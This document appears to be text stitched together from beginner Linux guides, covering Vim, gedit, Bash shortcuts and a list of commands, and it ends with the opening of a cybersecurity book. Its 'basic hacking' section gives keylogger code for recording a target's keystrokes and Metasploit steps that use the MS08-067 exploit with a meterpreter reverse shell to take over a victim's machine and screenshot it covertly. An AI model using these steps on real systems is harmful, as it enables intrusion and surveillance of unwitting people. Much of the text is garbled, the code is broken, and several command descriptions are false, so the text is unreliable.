One of the most interesting things about Linux is that it is designed and developed, so all information is stored in text-based files. There are two types of text files, which are used in Linux. Flat files in which text is stored in rows containing similar information, which you will find in the `/etc` directory, and Extensible Markup Language (XML) file has text stored using tags, which you will find in the `/etc` and `/usr` directories. The biggest advantage of text files is that they can be transferred from one system or platform to another without converting them. They can also be viewed and edited using simple text editors.

Vim is the most popular text editor across all Linux flavors and is an improved version of the previously popular `vi` editor. Vim can be configured as per user needs and includes features like color formatting, split-screen editing, and highlighting text for editing.

Vim works in 4 modes, which are used for different purposes.

1. Edit mode
2. Command mode

3. Visual edit mode

4. Extended command mode

When you first launch Vim, it will open in the command mode. The command mode is useful for navigation, cut and paste jobs, and other tasks related to manipulating text. To enter the other modes of Vim, you need to enter single keystrokes specific to every mode.

If you use the i keystroke in the command mode, you will be taken to the insert mode, which lets you edit the text file. All content you type in the insert mode becomes a part of the file. You can return to the command mode by pressing the Esc key on the keyboard.

If you use the v keystroke in the command mode, you will be taken to the visual mode to manipulate text by selecting multiple characters. You can use V and Ctrl+V to select multiple lines and multiple blocks, respectively. You can exit the visual mode using the same keystroke: v, V, or Ctrl+V.

The keystroke takes you to the extended command mode, which lets you save the content that you typed to the file and exit the vim editor.

More keystrokes are available in vim for advanced tasks related to text editing. Although it is known to be one of the best text editors in Linux globally, it can get overwhelming for new users. We will go through the minimum keystrokes essential for anyone using vim to accomplish editing tasks in Linux.

Let us go through the steps given below to get some hands-on experience of vim for new users.

1. Open a file on the shell prompt using the command `vim filename`.

2. Repeat the text entry cycle given below as many times as possible until you get used to it.

Use the arrow keys on the keyboard to position the cursor Press i to go to insert mode
Enter some text of your choice

You can use u to undo steps taken on the current line that you are editing

Press Esc key on the keyboard to return to the command mode

3. Repeat the following cycle, which teaches you to delete text as many times as possible until you get the hang of it.

Position the cursor using the arrow keys on the keyboard. Delete a selection of text by pressing x on the keyboard

You can use u to undo steps taken on the current line that you are editing

4. You can use the following keystrokes next to save, edit, write, or discard the file.

Enter:w to save/write the changes you have made to the file and stay in the command mode

Enter:wq to save/write the changes to the file and exit Vim

Enter:q to discard the changes that you have made to the file and exit Vim

Rearranging the Existing Content in Vim

The tasks of copy and paste are known as yank and put in Vim. This can be achieved using the keystrokes of y and p. First, place the cursor at the first character you wish to copy from and then enter the visual mode. You can now use the arrow keys to expand your selection. You can then press y to copy the text to the clipboard. Next step is to place the cursor where you want to paste the selected content and press p.

Let us go through the steps given below to understand how to use the copy and paste feature using yank and put in Vim.

1. Open a file on the shell prompt using the command vim filename.

2. Repeat the text selection cycle given below as many times as possible until you get used to it.
Position your cursor to the first character using the arrow keys on the keyboard.

Enter the visual mode by pressing `v`.

Position your cursor to the last character using the arrow keys on the keyboard.

Copy the selection by using `yank y`.

Position your cursor to the location where you want to paste the content using the arrow keys on the keyboard.

Paste the selection by using `put p`.

3. You can use the following keystrokes next to save, edit, write or discard the file.

   Enter:`w` to save/write the changes you have made to the file and stay in the command mode.

   Enter:`wq` to save/write the changes to the file and exit Vim.

   Enter:`q` to discard the changes that you have made to the file and exit Vim.

Note: Before you take tips from the advanced vim users, it is advisable that you get used to the basics of vim as performing advanced functions in vim without proper knowledge may lead to modification of important files and permanent loss of information. You can learn more about the basics of vim by looking up the Internet for vim tips.

Using the Graphical Editor to Edit Text Files in Red Hat Enterprise Linux 7

This section will learn to access, view, and edit text files using a tool in Red Hat Enterprise Linux 7 known as `gedit`. We will also learn how to copy text between to or more graphical windows.

Red Hat Enterprise Linux 7 comes with a utility known as `gedit`, which is available in the operating system’s graphical desktop.
environment. You can launch gedit by following the steps given below.

Applications > Accessories > gedit

You can also launch gedit without navigating through the menu. You can press Alt+F2, which will open the Enter A Command dialog box. Type gedit in the text box and hit Enter.

Let us go through the basic keystrokes that are available in gedit. The menu in gedit will allow you to perform numerous tasks related to file management:

Creating a new file: Navigate through File > New (Ctrl+n) on the menu bar or click the blank paper icon on the toolbar to start a new file.

Saving a file: Navigate through File > Save (Ctrl+s) on the menu bar or click the disk icon on the toolbar to save a file.

Open an existing file: Navigate through File > Open (Ctrl+o) on the menu bar or click on the toolbar's Open icon. A window will open up and will be showing you all the files on your system. Locate the file that you wish to open and select it and click on open.

If you select multiple files and click on open, they will all open up and will have a separate tab under the menu bar. The tabs will display a filename for existing files or save a new file with a new name.

Let us now learn how to copy text between two or more graphical windows in Red Hat Enterprise Linux 7. Using the graphical environment in Red Hat Enterprise Linux 7, you can copy text between text windows, documents, and command windows. You can select the text that you want to duplicate using copy and paste or move text using the cut and paste options. In each case, the text is stored in the clipboard memory so that you can paste it to a destination.

Let us go through the steps to perform these operations. Selecting the text:

Left-click and hold the mouse button at the first character of the text.

Drag the mouse until you have selected all the desired content and then release the button. Make sure that you do not press anything, as
that will result in the deselection of all the text.

Pasting the selected text: There are multiple methods to achieve this. This is the first one.

Right-click the mouse on the selected text at any point.

A menu will be displayed, and you will get the option to either cut or copy.

Next, open the window to paste the text and place the cursor in the desired location where you wish to paste the text. Right-click the mouse again and select Paste on the menu that appears.

There is a shorter method to achieve the same result as well.

Firstly, select the text that you need.

Go to the window to paste the text and place the cursor at the desired location in the window. Middle-click the mouse just once and will paste the selected text. This method will help you copy and paste but not cut and paste. However, to emulate a cut and paste, you can delete the original text as it remains selected.

The copied text remains in the clipboard memory and can be pasted again and again.

The last method is the one using shortcut keys on the keyboard:

After selecting the text, you can press Ctrl+x to cut or Ctrl+c to copy

Go to the window to paste the text and place the cursor at the desired location.

Press Ctrl+v.
Chapter Ten:

Advantages Of Using Linux

Most computer novices say things like "Linux is complicated," or "Linux is a geek thing." If there are, of course, Linux distributions that only passionate experts can operate, there are also some that are intended explicitly for the general public: Linux Mint, Ubuntu, and its derivatives.

You will discover that GNU/Linux is straightforward to use and much more user-friendly than most people think.

Hands-on Your Steering Wheel

With this software, you are the master of the board. GNU/Linux will do absolutely nothing unless you ask it explicitly, unlike a proprietary system that decides nearly everything instead of the user.

You're not mandated to install what you do not want to install, nor will a completely new system be imposed on you while the one you paid is still working very well. Conversely, you will probably not have anything to uninstall from the start; no antivirus trial for a month, no key, and no locks, in short, no bloatware.

After years of relying on Windows, the freedom that Linux grants can be scary. However, it should be understood that GNU / Linux allows you to manipulate your operating system to make it a space arranged to your taste, your needs, as much as it gives you the right to do anything at all.

Security

There is no need for antivirus when you are on Linux. This seems inconvincible, but it is true because this operating system is built primarily to be as safe as possible. It is part of the DNA of Unix-like
systems (Linux, BSD) where security is such an essential element as other components of the system.

Despite this claim, most computer operators have tried to explain the security build-up of Linux. On the one hand, some operators suggest that there are viruses on Linux, and therefore, it is crucial to protect yourself. The others argue that this antivirus only detects those intended for Windows. Moreover, the Linux world's diversity means that a virus that affects one distribution may not affect the other.

The most common security requirement for a Linux system is that a password is requested as soon as you log in or when you want to perform a potentially dangerous system modification operation (update, installation of new software, etc.). The password will also be required when you want to access some files, as this will prevent some people from searching your data when you're not around.

As far as updates are concerned, they seem much less frequent and, in most cases, much faster to perform. We sometimes hear that Windows was designed for one thing: to work. Initially, security was not even a primary concern, an aspect so little taken into consideration that it was delegated to third-party software.

Hence, the very lucrative industry of antivirus and antimalware. Even if one can argue that, nowadays, Microsoft takes a grave account of security problems. The continuous and frequent flow of security updates should encourage all users to ask serious questions about the Microsoft operating system's reliability.

Serenity and Efficiency

Even though some distributions are complicated, some GNU/Linux distributions are very suitable for beginners. Everything is, therefore, designed to make life easier for beginners. This means that you will not need a master's degree in computer science to operate Linux. Moreover, GNU / Linux offers a reliable environment, technically and humanly.

When you're done installing a distribution for the first time, the most striking thing about it is its barebones look. Usually, only two icons are
present on the desktop: the "workstation" and a personal folder. Not even the trash! It may seem austere, but it is also the symbol of the GNU/Linux experience: simplicity and the choice to add things according to your needs.

This simplicity is immediately visible when you go around the interface. Unlike Windows, most people who have not yet mastered the system waste time uninstalling useless software and disabling imposed functions; under GNU/Linux, you don't have to do this. No need to uninstall a useless bunch of software. Instead, you choose the software to add yourself.

Precisely, nothing is more accessible than installing software chosen among the thousands available in a software library. Do not surf the net for the desired application that could just as easily contain a virus or corrupt files in your system.

The most eloquent feature of GNU/Linux is that no restart is necessary after installing the software. This is so for updates that are operational instantly without rebooting the system.

**Bash Features**

Bash, which is the default GNU shell on most of Linux systems that you will use, will make it easier to use specific combinations of keys to perform a task easily and quickly. Some features of the Bash shell are:

Tab - this will complete the command or the filename. If there is more than an option, the system will use a visual or audio notification to tell you. If the system detects a lot of possibilities, it will ask you whether you would like to check all of them.

Tab - this is going to show the completion possibilities for a filename or command.

Ctrl + A - will move the cursor over to the start of the current command line.

Ctrl + C - this one will end your computer program and then show the Linux prompt.
Ctrl + D - this one is going to log you out of your current session. This is a key combination that is similar to typing exit or logout.

Ctrl + E - This will move the cursor to the end of your current command line.

Ctrl + H - this is going to work similarly to pressing the backspace key on the keyboard.

Ctrl + L - this one is going to clear out the current terminal.

Ctrl + R - this is going to search through the history of commands Ctrl + Z - this is going to allow you to suspend your computer.

**Programs**

Arrow right/arrow left - these keys will make it easier to move the cursor along the command line that you are currently on. You may find it useful to add in more characters or make some changes to the program.

Arrow up/arrow down - these are the keys that will make it easier to browse the system's history. You can access any lines that you want to repeat, change some of the data when needed, and then press ENTER to quickly execute these new commands.

Shift + Page Up/Shift + Page Down - using these key combinations will allow you to check the terminal buffer.

As you get a bit more familiar with the Linux system, you will begin to understand better how these commands work and some, learn other commands, which will make it easier to use the Linux system. These are just a few of the initial commands that you should learn how to use because they will make navigating through the system much easier for you. Give them a try and practice logging in and out of your system so that you can get a feel for how it works before moving on.

**A New Version in a Snap of Fingers**

On Linux, if you want to change the version, for example, to have a most recent operating system, most distributions are to be reinstalled in full. Under Windows, this operation causes stress and takes a lot of
time. To change the GNU/Linux version is so easy that it can quickly become a routine.

To perform this in Linux Mint, go to the update manager to install the latest version available. It is worth noticing that installing a recent version does not mean changing the whole software. GNU/Linux offers operating systems light enough to run on computers with less than 4 GB of RAM.

Generally, consider that with the present Linux distribution, an entry-level computer with 4 GB of RAM is almost oversized for everyday uses. The minimum system recommended for installing Linux Mint is 9 GB of disk space and 256 MB of RAM (1GB for comfort). Obviously, some software will probably require a little more than 1 GB of RAM. But between 1 and 4 (or 8 GB of RAM), space is enough.

The different versions of the distributions are often proposed in "long cycles," commonly called LTS (Long Term Support). For example, Linux Mint 18 available since spring 2016 will be supported until spring 2021. For the rest, if you know how to copy and paste, you will reinstall your software and replace it with the recent versions. Above all, it is possible to restore all the software configuration of the old system, which includes, for example, your email, your settings, as well as the complete parameters of your browser with extensions included.

How is this magic possible? The advantage of a GNU/Linux distribution is that all the personal files are deposited in a single named folder. This folder also contains hidden directories, and these are the ones that contain all the settings of your software. GNU/Linux does not violate the user.

GNU/Linux is an operating system that does not exploit you. The default installation does not include much more than the most commonly used and fully functional software. The Linux community and free software developers do not care what you do with your computer for which you are solely responsible.

A GNU/Linux distribution does not hint, analyze, or transmit any of your actions to "third parties," which may breach users' privacy.
Linux Tips and Tricks

There are thousands of command lines, which makes it possible to execute tasks in no time. Rather than flipping through pages one after the other, a single command can help you get what you want in a few seconds.

On Linux, you must note that some Windows shortcut keys may perform different functions entirely. Hence, don’t expect Ctrl + S to help you save Items on Linux.

Is

This command is used to list the files in a folder. You can use "afor" to list hidden files, "-Ifor" detailed list, and "Rallows" to View subfolder name change directory; the command is used to navigate within the existing file system. For example, cd /var/log where the logs folder. This is effective regardless of where you are since we put the start slash, which indicates that it is an absolute address.

To navigate within directories, there are two handy shortcuts to know. cd ~ leads to the directory of the current user ( /home/user/most of the time or /root/if you are root) and cd -returns to the previous path.

pwd

Print working directory. This command displays the absolute path of the folder you’re presently in.

Clear

This is used to clean your terminal window, relegating all the text above, and leaving you with a clean window. The keyboard shortcut ctrl+ l does the same thing.

Ctrl + s

Stop the display; this is very useful when you mistakenly input a wrong command. This command undoes the previous command allowing you to correct the mistake.

ctrl + d
This is used to disconnect a session or terminal properly.

Ctrl + k

Deletes all text after the cursor and saves it to the clipboard. Ctrl+ u delete command from the cursor to the beginning of the line. For instance, if your cursor is placed at the end of the text, this key will delete the entire line.

Ctrl + y

This is used to paste text copied from the clipboard.

Ctrl + r

This command allows you to search the command history. Usually, you go back to commands already typed using the top arrow key. With ctrl+ r, you can search this history. Press ctrl+ r, and then type a piece of the command which you want to search.

!!

In line with the practical bash shortcuts, the double exclamation point allows you to relaunch the last command.

for

This is certainly the most complex command of this section, especially for beginners. For is a loop instruction. A loop is used to execute an action several times, on all the elements of a variable. For example, we can easily rename all files in a directory to replace spaces with hyphens or comma with a full stop.

ctrl + z

On Windows, this is used to undo an action, but it is used to pause the current process on Linux.

bg

This is used to escape from a process that is paused in the background.

fg
This is used to resume a process in the background (if several are running simultaneously, `fg%n`).

`at`
This is used to program an event to run an hour later, e.g., at 18:22 or now.

`atq`
This is used to list pending tasks.

`atrm`
Delete task.

`sleep`
This command allows you to pause between the executions of two commands. Example: `touch gt.txt && sleep 10 && rm gt.txt`

`crontab`

`crontab` is a command that reads and modifies a file called "crontab." Here are the most common options:

E: modify the crontab,

L: displays the current crontab,

R: remove your crontab. Attention, the deletion is immediate and without confirmation

`sudo`

This is used to execute a command as root.

`sudo su`

Passes root and saves it.

`chmod`

Change the rights on a file or folder. It modifies users' access to a file,
Chown
Changes the owner of a file/folder (can only be used in root) -R option for recursion.

User Command
Add user
To add a user.

Password
Change the password of a user, e.g. passwd roger. Delusion deletes a user to create a group. usermod
Modify a user (options: -l to change the name, -g to assign a group to it, and -G to assign
Several groups (separated by commas) del group deletes a group.
Groups - Check-in which group is a user added.

chgrp
Change the group that owns a file (equivalent to chown user: group). CPU and RAM usage.

Free
Indicates the space occupied by files and the remaining free memory.

Load
Displays the CPU load in the form of a graph.

ps -ef
View all launched processes. Alternatively, one can use the BSD syntax ps aux.

ps -e|H
Display process in tree.
Ps -u
List the process launched by a given user eg ps -u buzut.

top
The system's activity in real-time: load, RAM, SWAP process ... top has the advantage of being installed almost everywhere.

htop
It is an improved version of top, a little more graphics, the information is clearer, and it is possible to sort/order the display according to certain criteria.

glances
Similar to top and top, glances are the dashboard of your machine, as it brings together at a glance all the essential metrics: CPU, load, ram, swap, i/o disks, and disk filling.

Iotop
In the lineage of *top, here's top which, as its name suggests, provides a real-time preview of the I/O disk.

System
This command is used to show those connected with your system and what they're doing.

who
This is used to show who is connected to your system.

date
Shows date time-kill

kill all
Quit all occurrences of a program.

reboot
Restart the operating system.

**Shutdown**

Program a restart or stop.

**Power off**

This is similar to shut down except that Power off comes with an additional option to log off or reboot the system.

**halt**

It allows users to "shut down" the system. However, the system can remain powered on with this command (depending on the past options and the system default settings).

**Last**

This command shows connection history.

**Isof**

List open files, list open files. This command can be handy to see which file is in use.

**hostname**

Displays the hostname of the machine according to what is written in the file

/\etc/hostname.

**name**

Info about the system and the gear. The -r command option allows obtaining the version of the kernel in use.

**lsb_release**

lsb_release -a gives all info about the Linux distribution you're using.

**Isbw**

Give detailed information about system hardware such as ram
configuration, firmware version, motherboard configuration... With the option -short, you will get a more digestible output.

The option -c is also useful in knowing the name of the network interface that is not yet configured with the system.

**lsblk**

List all devices connected to your hard disk.

**lspci**

List all PCI devices.

**lsusb**

List all USB devices.

**sysctl**

This command is used to View and configure kernel (hot) settings.

**dmesg**

Displays the messages in the kernel buffer.

**Run multiple commands**

Suppose you want to input multiple commands, no need to wait for each command to run before inputting another; you can use the symbol `;` to separate each command, so they run independently. For instance: Clear; Cd; cd-

**Recover Forgotten Commands**

In a situation where you forgot a couple of commands you inputted minutes ago, you can use a search term to search for the commands. To do this, use the following keys: Ctrl + r. Input the command again and again to View more search results.

**Exit search terms**

The command Ctrl + C helps you reverse search terms allowing you to return to the previous terminal.
Unfreeze Linux Terminal

If you use Ctrl +S frequently to save items on Windows, you could mistakenly do so on Linux. However, rather than save items, this command freezes your terminal on Linux. However, you can unfreeze it using Ctrl + Q.

Move to Begin and End of Command

If you're inputting long strings of command, you can navigate the first line of Command using Ctrl + A and Ctrl + E to move to the end.

How to Reuse the Previous Command

You can use !! to recall previous commands in a new line.

Copy and Paste Commands

On Linux, you can copy command on your terminal and paste where you need it. To do this, highlight the command you want to copy and press Ctrl + Shift + C to copy and Ctrl + Shift + V to paste.

Empty File Content by Deleting the File

You can delete the contents in a folder while leaving the folder intact using the command: > followed by the file name. For instance: > Linux tutorial.

Recall Commands

If you have long Command lines, you can recall Commands in a specific line using '!' followed by the line number. For instance: 23 to View command inline 23.

Shut down Computer at A Given time

Besides, to shut down and reboot, you can also program your computer to shut down at a specific time. To shut down the Computer at 22:00, use the following command: $ sudo shutdown 22:00

mkdir

With this, you can create a folder. The operation is the same as that of
the command `touch`. E.g., `mkdir Linux tutorial`.

`cp`

With this, you can make a copy of a file. Option `-R` allows you to make copies of the entire folder at once.

`mv`

This option always will enable you to move folders/files. The `mv` command is used in precisely the same way as the command `cp`. This command also allows you to rename files and folders.

`rm`

Remove, delete files, e.g., `rm Linux tutorial`. The option `-f` forces the delete, the option `-i` request confirmation before deletion. Finally, the option `-r` allows the deletion of the files.

`rmdir`

Remove directory and enables you to delete a folder only if it is empty.

`ln`

This option helps you create a link to two files. The option `-s` allows you to create a symbolic link.

`wc`

Word count, count the number of lines, words, and characters in a text file. The option is `-l` for line (number of lines), `-w` for word (number of words), and `-m` for the number of letters. There is also the option `-c` to that has the file size in bits. To use it, we simply provide in parameter the address of the text file:

we also makes it easy to know how many files/folders you have in a given directory, just to redirect the output of a diverse `WC: ls | and voila!`

`sort`

This option helps you sort a text file in alphabetical order. The option -
r allows to perform an inverse sorting, i.e., anti-alphabetical or decreasing for numbers, and the option -R allows random sorting.

Uniq
The command unit allows you to duplicate a file. Just supply in parameter the file's address to be duplicated and the name of the new file to be created.

file
This command helps you determine the type of file in use regardless of its extension. All you need to do is provide the parameter of the file to be evaluated.

split
With this command, you can cut a file into smaller files (-l specify the number of lines, -b specify the size in bytes [follow the size of K, M, G, T to define a different unit]).

Locate
This command allows locating a file on the hard disk. E.g., locates Linuxtutorial.txt. The command locate is very fast because it finds the file by consulting a database. It does not scan the hard drive directly for the file in question. The disadvantage of this process is that if the file is recent, it may not be indexed yet, and location will not help.

Find
The command find is much more powerful than locate, but it is also much slower because it traverses the disc when researched. Unlike locate, find allows you to search according to the size or date of the last access.

nohup
This command enables users to start a program and holds it even after the console is closed.

Cat
This command allows you to read the contents of a text file cat Linux tutorial.txt

less

Similar operation to cat but display the file page by page. It is, therefore, more convenient for large files.

Head

Displays the header of a file. The option -n allows you to specify the number of lines to show.

tail

Like the head, it refers to the "tail" of the file; in other words, this command only displays the end.

touch

The primary touch goal is to change the time frame of a file. If you make touch a file that already exists, it will update its last access and modification dates.

Make a Typescript of all elements on your terminal.

With the "script" command, you can make a Typescript of everything on your Console.

Privacy of directories

To prevent other users from accessing a folder, use the command chmod.

Password File

If you’re afraid that a user may access your file, you can password it with the following command: Vim followed by the filename.

Know When to Exit your terminal

On Linux, you can set a reminder to know when to exit your terminal. With the command "leave + time of the day," you know when to stop working.
Formatting Text

You can format text on Linux using the following string of commands: `fmt + filename`.

**Complete Last command**

Using the command! Help you save time as it automatically helps you Complete the last command without having to input the remaining commands manually.

**Type**

This command indicates whether an element is built-in, a program, or an alias.

**Copy File into Different Directories**

The command: `echo` allows you to copy a file into as many directories as you want with just on the line of command.

**Delete Large Files**

`rm` command is widely used to remove files. However, this can become useless if the file in question is large. Instead of `rm`, use `>` (followed by the filename) to remove large files.

**Installing Software**

Typically, when you install software on a Linux system, you do so with a package. A package can be defined as collection of files that constitute an application. A package contains data about the application and any steps required to install and remove that application successfully.

The data or metadata contained within a package can include information such as the description of the application, the version of the application, and a list of other packages that it depends on. To install or remove a package, you need to use superuser privileges.

A package manager is used in order to install, upgrade, and remove packages. Any additional software that is required for a package to
function correctly is known as a dependency. The package manager uses metadata to install the dependencies automatically. Package managers keep track of which files belong to what packages, what packages are installed, and what versions are installed.

**Some Basic Hacking with Linux**

Now that you have gotten used to the Linux system and have some ideas of how it works and such, it is an excellent time to learn a little bit about hacking with Linux. No matter if you are using this system on your own or you have it set up with a network of other people, there are a few types of hacking that you may find useful to know how to do. This section is going to spend some time exploring some primary hacking endeavors on the Linux system.

**Making a Key Logger**

The first thing to learn how to work with is a key logger. This can be a new tool because it allows you to see what keystrokes someone is making on your computer right from the beginning, whether you have a network that you need to keep safe. You want to see what other systems are typing out, or if you are using a type of black hat hacking and trying to get the information for your personal use, the key logger is one of the tools you can use to make this work out efficiently for you.

Now, there will be a few different parts that you will need to add in here. You can download an essential logger app online (git is one of the best ones to use on Linux for beginners). While this will help you get all the characters that someone is typing on a particular computer system, it is not going to be very helpful. Here, you will get each little letter on a different line with no time stamps or anything else to help you out.

It is much better to work this out to get all the information you need, such as lines of text rather than each letter on a different path and a timestamp to tell you when each one was performed. You can train the system to only stop at certain times, such as when there is a break that is longer than two seconds, and it will type in all the information that happens with the keystrokes at once rather than splitting it up. A timestamp is going to make it easier to see when things are happening,
and you will soon be able to see patterns as well as more legible words and phrases.

When you are ready to bring these pieces together, here is the code that you should put into your command prompt on Linux to get the key logger all set up:

```python
import pyxhook

# change this to your log file's path log_file = 'home/aman/Desktop/file.log'

# this function is activated every time a key is pressed def OnKeyPress(event):
    fob = open(log_file, 'a')
    fob.write(event.Key)
    fob.writer('
')

if event.ASCII==96: # 96 is the ascii value of the grave key fob.close()
    new_hook.cancel()

# instantiate HookManager class new_hook=pyxhook.HookManager()
# listen to all keystrokes new_hook.KeyDown=OnKeyPress # hook the keyboard
new_hook.HookKeyboard()

# start the session
new_hook.start()
```

Now, you should be able to acquire a lot of the information you need to keep track of all the keystrokes going on with the target computer. You will be able to see the words come out in a steady stream that is easier to read, you will get some time stamps, and it shouldn’t be too hard to figure out where the target is visiting and what information they are putting in. Of course, this is often better when it is paired with a few other options, such as taking screenshots and tracking where the mouse of the target computer is going in case they click on links or don’t type in the address of the site they are visiting, and we will explore that more now!

**Getting Screenshots**
You are able to get a lot of information from the keystrokes that we discussed in the previous section, but often, these are just going to end up being random words with time stamps accompanying them. Even if you can see the username and password you want if the target uses a link to get their information or navigate to a website, how are you supposed to know where they are typing the information you have recorded?

While there are a few codes that you can use to get more information about what the target is doing, getting screenshots is one of the best ways. This helps you get a hold of the username and passwords based on the screenshots that are coming up, but you are also able to see what the target is doing on the screen, making the hack much more useful for you.

Don’t worry about this sounding too complicated. The code that you need to make this happen is not too difficult, and as long as you are used to the command prompt, you will find that it is pretty easy to get the screenshots you want. The steps that you need to take to get the screenshots to include:

Step 1: set the hack up

Firstly, you need to select the kind of exploit that you need to use. A good exploit that you should consider using is the MS08_067_netapi exploit. You will need to get this one onto the system by typing:

```
msf > use exploit/windows/smb/ms08_067_netapi
```

Once this is on the system, it is time to add a process that will make it easier to simplify the screen captures. Metasploit’s Meterpreter payload can make things easier to do. To get this to set up and load into your exploit, you will need type in the following code:

```
msf> (ms08_067_netapi) set payload windows/meterpreter/reverse_tcp
```

The following step is to set up the options that you want to use. A good place to start is with the show options command. This command is going to let you see the options that are available and necessary if you
would like to run the hack. To get the show options to the command to work well on your computer, you will need to type in the following code:

```plaintext
msf > (ms08_067_netapi) show options
```

At this point, you should see the victim, or the RHOST, and the attacker or you, the LHOST, IP addresses. These are important to know when you want to take over another computer system because their IP address will let you get right there. The two codes that you will need to show your IP address and the target’s IP address so that you can take over the targets system includes:

```plaintext
msf > (ms08_067_netapi) set RHOST 192.168.1.108 msf > (ms08_067_netapi) set LHOST 192.168.1.109
```

Now, if you have gone through and done the process correctly, you should exploit it into the other computer and put the Meterpreter onto it. The target computer will be under your control now, and you will be able to take the screenshots that you want with the following steps.

**Step 2: Getting the screenshots**

With this step, we are going to work on getting the screenshots that you want. But before we do that, we want to find out the process ID or the PID that you are using. To do this, you will need to type in the code:

```plaintext
meterpreter > getpid
```

The screen that comes up next will show you the PID that you are using on the target’s computer. For this example, we will have a PID of 932, but it is going to vary based on what the targets computer is saying. Now that you have this number, you will check which process this is by getting a list of all the processes with the corresponding PIDs. Type in:

```plaintext
meterpreter > ps
```

When you look at the PID 932, or the one that corresponds to your target’s particular system, you will see that it is going to correspond
with the process known as svrhost.exe. Since you will be using a process that has active desktop permissions, you will be ready to go in this case. If you don’t have the permissions, you may need to do a bit of migration to get the active desktop permissions. Now, you will need to activate the built-in script inside of Meterpreter. The script that you need is going to be known as espiia. To do this, you will need to type out:

meterpreter > use espiia

Running this script is going to install the espiia app onto the computer of your target. Now you are able to get the screenshots that you want. To get a single screenshot of the target computer, you will need to type in the code:

meterpreter > screengrab

When you type this code, the espiia script that you wrote out will take a screenshot of what the targets computer is doing at the moment and then will save it to the root user’s directory. You will then see a copy of this come up on your computer. You will be able to take a look at what is going on, and if you properly did this, the target computer would not understand that you took the screenshots or that you aren’t allowed to be there. You can always control what is going on and take as many of the different screenshots you would like.

These screenshots are pretty easy to set up, and they are going to make it easier than ever to get the information you need as a hacker. You will receive information about where the user is heading to and what information they are typing into the computer.

Keep in mind that black hat hacking is usually illegal, and it is not encouraged in any way. While the black hat hackers would use the formulas above to get information, it is best to stay away from illegally using these tactics. However, learning these skills can be a great way to protect yourself against potential threats of black hat hackers. Also, having hacking skills allows you to detect security threats in the systems of other people. Being a professional hacker can be a highly lucrative career, as big companies pay a lot of money to ensure that their system is secure. For them, hack-testing methods are a
challenging and fun way to make a living for the skilled hackers out there.

In Linux (and other Unix-like operating systems), when a filesystem on a drive or partition is mounted to the system, it must be joined into the existing tree.

Mounting is defined as the process of attaching a formatted partition or drive to a directory within the Linux file system. This means that the drive's contents can be accessed from that directory.
Conclusion

To conclude, you have enough basic information to get started and begin to dabble in the usage of your own Linux distribution that you have chosen, installed, and began to program. Hopefully you found the process of reading informative and useful to you as you made your way through it.

The material discussed can be quite dense if you are not technologically inclined or have never really dabbled in tech-related systems before, but it is worthwhile to learn. As a beginner, you should familiarize with the Linux commands. This is the most interesting thing with Linux.

One enjoys running the commands on the terminal, which gives different results. The interesting thing with Linux is that it comes with various distributions, and the majority of the commands are universal in all of these distributions. This provides one with an ease of transition from one transition to another.

However, it is good for you to know that each Linux distribution is developed for a group of targeted users, and it is designed and developed so that it can meet the demands of those users. This calls for you to determine the kind of tasks you want to perform with your Linux and then choose the best distribution! For sure, however—when you begin to utilize Linux, you are developing a series of essential skills to learning.

It can be beneficial to know how to work with computers. You may even decide to take this from a project to a hobby, and eventually even a career if it has interested you enough to keep exploring. No matter what is important to remember, you should make sure you stay up-to-date on your knowledge. From here, you may be ready to install your own iteration of Linux if you have not done so yet.

It is exciting when you are first beginning on this process, and you will
surely enjoy it.

If you are unsure whether you are ready to take the plunge into downloading a distribution for yourself, maybe you would find interest in running a few different distros to test first, using the steps listed for you earlier.

You can play around with the system, learning which you prefer and which you would rather avoid altogether, which may help you make your decision sooner. However, no matter what you decide, keep in mind that this was an introduction to the subject.

This reading focused on providing you with the essentials to understanding what Linux is and how it works. From here, you may choose to research the specialized distribution you are interested in. You may begin to look into more of Linux’s uses and what you can do with the program.

No matter what you choose to do next, if you are willing to put in the time and energy, you will find yourself successful in your endeavors.

I wish you the best of luck!
CYBER SECURITY

An Ultimate Guide to Cybersecurity, Cyberattacks, and Everything You Should Know About Being Safe on The Internet.
Introduction

Cybersecurity is a sweeping the world by storm, with a number of the greatest & most advanced companies in the world falling victim to cyber-attacks in just the most recent 5 years. Against that backdrop, truly personal and vulnerable information like social security numbers were definitely consumed by the Equifax hack, affecting much more than 145 million people. Regrettably, so long as computers exist, we are in danger of getting the electronic data of ours compromised as well as manipulated. Nevertheless, residing in the electronic age is not all that scary, especially in the case that you know what you’re doing.

Cybersecurity will be the shelter of internet-connected strategies, such as hardware, software, and data from cyberattacks. In a computing context, security comprises actual physical protection and cybersecurity — both are employed by businesses to guard against unauthorized access to info centers and other computerized systems. The goal of cybersecurity is restricting risk as well as protect IT home from attackers with malicious intent. Info security, designed to always keep the confidentiality, integrity, and availability of advice is a subset of cybersecurity.

Best methods might, and should, be implemented by large and small organizations, employees, and individuals. One of the most annoying ingredients of cybersecurity would be the continuously changing characteristics of security risks and seasoned persistent threats (APTs).

The conventional strategy is still focusing resources on crucial system parts and guard against the greatest recognized threats, that suggested giving elements undefended without defending approaches against less unsafe risks. To cope with the existing atmosphere, advisory companies are marketing an adaptive and proactive additional approach.
The National Institute of Standards and Technology (NIST), for example, recently issued updated criteria in its risk assessment framework that recommend a difference toward frequent monitoring in addition to real-time assessments. Unit 1.1 of the Framework for Improving Critical Infrastructure was released in April 2018. The voluntary Cybersecurity Framework (CSF), produced to be utilized with the banking, communications, defense, and energy industries, is utilized by all sectors, including federal and state governments. President Donald Trump issued an executive order mandating that federal companies followed the NIST CSF in May 2017.

Cybersecurity measures must permanently be implemented to safeguard the info of small and large organizations & people. Though sizable security breaches will be individuals that typically get publicized, small businesses continue to need concerning themselves with the protection posture, as they may become the aim of phishing and viruses.

It is truly critical because it can protect an organization's info property from electric attacks, which could damage the group or perhaps folks providing placed in the wrong hands. Medical, government, corporate, and financial records all hold private information. Security incidents are competent to lead to losses in the terminology of standing, cash, theft of info, deletion of data, and fraud.

Cybersecurity aids in preventing data breaches, identity theft, and ransomware hits and assisting with risk control. Whenever a business has a strong sensation of network security and a very efficient incident response program, it can prevent and mitigate cyberattacks. The method for remaining in touch with revolutionary technologies, security trends, and dangerous intelligence is a hard task.
Chapter One:

What Is Hacking?

When you think of hacking, you may imagine something along the lines of someone violently smashing a keyboard, zooming in on things while controlling someone else's computer, and saying things like "I'm in," or, "hack engaged." Or maybe the word hacking makes you think of breaking into someone's Instagram account.

